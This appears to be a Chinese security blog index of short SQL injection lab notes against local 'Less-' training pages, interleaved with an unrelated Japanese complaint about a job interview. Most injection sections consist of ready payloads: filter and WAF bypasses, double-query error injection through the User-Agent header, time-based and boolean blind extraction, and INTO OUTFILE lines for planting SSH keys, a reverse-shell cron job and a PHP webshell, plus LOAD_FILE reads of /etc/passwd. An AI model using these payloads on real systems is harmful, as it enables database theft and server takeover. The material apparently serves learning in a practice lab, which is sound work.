博文

Sql Inject 拦截器过滤

 拦截器过滤在 SQL 注入中是很常用的一个功能。 1、and 使用 && 代替         所代表的意义是一样的 2、or 使用 || 代替         所代表的意义是一样的 3、urlcode 转码         例如[']转成%27,普遍用在代码检测不彻底的情况下。 4、SQL技巧         绕过空格,使用select(1),(2),(3)类似的形式 5、相关函数     5.1 extractValue                 报错注入的另一种形式,与双查询类似。  5.2 %a0编码                 对于空格的限制,采用编码。     5.3 %bf编码                 宽字节绕过。 6、双重参数         双重参数是指,同时提交两个参数名一样的参数,服务端仅验证了第一个。底层代码却处理了2个参数,达到绕过程序检测的目的。 例如 payload:http://192.168.230.129/trainer/Less-27/?id=911%27UnION%a0SElect(3),(SELect%a0group_concat(password)from%a0users),(5)and%a0%271 payload:http://192.168.230.129/trainer/Less-32/index.php?id=%bf%27%20union%20select%201,version(),user()%20--+

Sql Inject 协议头注入

图片
基于 User-Agent 注入 这是一个非常经典的 HTTP 协议注入,非常 NB。故此,我细化地写了下来。 payload:1',(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b),'3'); # 总结: 明显是后台 php 程序取 User-Agent 头信息地时候没有加入过滤,直接insert 就插入了。 这种类型地注入,就是明显的双查询注入,故意的引起报错造成信息泄露。 目前似乎没有开源工具针对 Http 协议头做参数检测。 基于 Cookies 注入 cookie 在程序处理 sessions 中非常、非常之常见。部分程序里的 cookie 是被 base64 或者其它编码程序编码过的,但是也有解码的方法,这是后话了。

派遣業界の信頼問題

今日、不知名の会社にZOOMで面接されました。一番大変な問題は信頼問題です、面接の際に「噓、噓」と言われました。詳しく説明したいですけど、「謙虚してください。言わせないところは言わないでください。」自分で証明の機会もなくなっちゃった。 自分より強く人は「噓」、全然日本人らしくない、中国人のようなと感じします、こなん簡単的な開発は誰でもすぐできるでしょう、HTTP API、基礎的な能力でしょう? こんな簡単的な問題を出すのはほんとに技術者ですか? 日本のIT業界に対するもう一回自分の認識を変えました。 OK、実際これが大きく社会問題です。自分が経歴したことだけではなく、ほかのエンジニア絶対に経歴しました。 詳しく調査は実施しています、あとで更新します。 今日は2021年6月19日、その会社からもう退場しました。二ヶ月間ぐらい勤務した、その人は実際中国語が喋る、韓国にも行ったことあるそうです、多分韓国語もしゃべれるかも、しかし年をとった。もともとの国籍はどこなのか、自分もよくわからない。多分中国。 あいつは全くやばい。お客さんの仕事スケジュールは全然無理なんですが、いつもできるできるできると話して、結局、僕たちにやらせる、黙って、やります。 心なかには何回「FUCK」と言いましたが、現実が変えることができません。 とりあえず、そんな会社は2回仕事はないです。

Sql Inject 基于outfile

基于导出,导入文件的注入。目前来说,一般是不能利用的的,它需要在服务器上开启【secure_file_priv】参数 在mysql.init 里设置【secure_file_priv =】后,重启mysql即可使用,默认是关闭或有限访问路径。 查看参数:SHOW VARIABLES LIKE "secure_file_priv"; 利用思路: 普通导出文件:select * from users into OUTFILE  'c:\\1.txt'; 写入私钥:select 'ssh private text' INTO OUTFILE '/root/.ssh/authorized'; 写入定时任务:select 'cron time misstion' INTO OUTFILE '/etc/cron.d/revershell'; 写入shell:select 'php shell' INTO OUTFILE '/var/www/html/revershell.php'; 加载文件 select HEX(LOAD_FILE('c:\\1.txt')) select HEX(LOAD_FILE('/etc/passwd')) select HEX(LOAD_FILE('/etc/issue'))

Sql Inject Less 9 盲注基于休眠时间

因为基于休眠时间受限于网络带宽,时间,延迟等因素。所以返回的数据相当地不准确,需要根据返回地数据进行英文单词参照,慢,延迟高,还不准确。 如果发现了这类型地漏洞,那简直是噩梦。 注入地址,例:http://192.168.230.130/trainer/Less-9/?id=2' and sleep(10) --+ 查询数据库payload为:'and if(SUBSTR(DATABASE(),1,1)='s', sleep(5), null) --+ 查询表的payload为:' and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) --+ 查询表字段的payload为:' and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name='emails' limit 0,1),1,1)='i', sleep(5), null) --+ 查询表数据的payload为:' and if(SUBSTR((select id from security.emails limit 0,1),1,1)='1', sleep(5), null) --+ 测试SQL: select SYSDATE() from dual where 1=1 and if(SUBSTR((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e', sleep(5), null) select SYSDATE() from dual where 1=1 and if(SUBSTR((select column_name from information_schema.COLUMNS where table_name=...

Sql Inject Less 8 盲注基于布尔型

图片
实验 基于布尔类型注入其实就是根据布尔值来判断获取的ascill码的数值来进行注入的方式。 注入点,例:http://192.168.230.130/trainer/Less-8/?id=1' AND 1 --+ 0是false 1为true 举例,目前使用的数据库为:security select ASCII(substr(DATABASE(),8,8)) s 115 e 101 c 99 u 117 r 114 i 105 t 116 y 121 测试: 当我取第一个ascii码值,判断他大于114时,此时为false,判断true和false的依据为【You are in...】是否显示。 数据库第一个字符判断是否大于116,是false。 大于114 小于116 ,明显就是115了,也就是Security里的S字符。 这种明显效率低下。远远不如使用 group_concat 函数来的直接,非快速获取大量信息的方式。 POST注入,基于布尔值 POST注入其实和GET是一样的,都是基于布尔值来判断具体的ascii码值 payload:1") or substr(DATABASE(),1,1) ='s' #

Sql Inject Less 5-7 - 双查询注入

图片
实验 注入地址: http://192.168.230.130/trainer/Less-5/?id=1' and (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b) --+ 这种类型的注入问了很多人,最后得到了【双查询注入】。我一直以为是 【double 查询注入】,果然一定要严谨,严谨,再严谨。 只有这样才能建立良好的思维导图。 payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select table_name from information_schema.TABLES where TABLE_SCHEMA='security' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 出现的结果会是下图地两种情况,随机刷新出结果来: 查询表字段信息: payload:1' and  (select 1 from (select count(*),CONCAT(0x3a,0x3a,(select column_name from information_schema.columns where TABLE_NAME='emails' limit 0,1),0x3a,0x3a, floor(rand()*2)) as a from information_schema.columns GROUP BY a)b)     --+ 查询数据信息:(select 1 from (select count(*),CONCAT(0x3a,0x3a,(select username from security.users limit 3,1),0x3a,0x3a, floor(rand...